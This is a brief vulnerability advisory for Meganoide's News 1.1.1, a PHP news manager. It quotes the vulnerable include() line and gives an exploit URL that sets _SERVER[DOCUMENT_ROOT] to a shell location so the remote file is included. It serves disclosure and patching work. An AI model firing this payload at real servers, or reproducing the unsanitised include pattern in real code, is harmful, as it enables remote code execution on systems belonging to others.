[UNIX] Meganoide's News File Inclusion



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Meganoide's News File Inclusion
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SUMMARY

Meganoide's News is "a PHP based news/article management system". A
vulnerability in Meganoide's News allows remote attackers to cause the
inclusion of arbitrary files.

DETAILS

Vulnerable Systems:
* Meganoide's News version 1.1.1

Immune Systems:
* Meganoide's News version 1.1.2

Vulnerable code:
In the file include.php, the following line:
include("$_SERVER[DOCUMENT_ROOT]/news/config.inc.php");

Allows remote attackers to cause the Meganoide's News to include arbitrary
files.

Exploit:
The following URL can be used to trigger the problem:
http://www.target.com/path/include.php?_SERVER[DOCUMENT_ROOT]=[shell]


ADDITIONAL INFORMATION

The information has been provided by <mailto:k4rtal@xxxxxxxxx> k4rtal.



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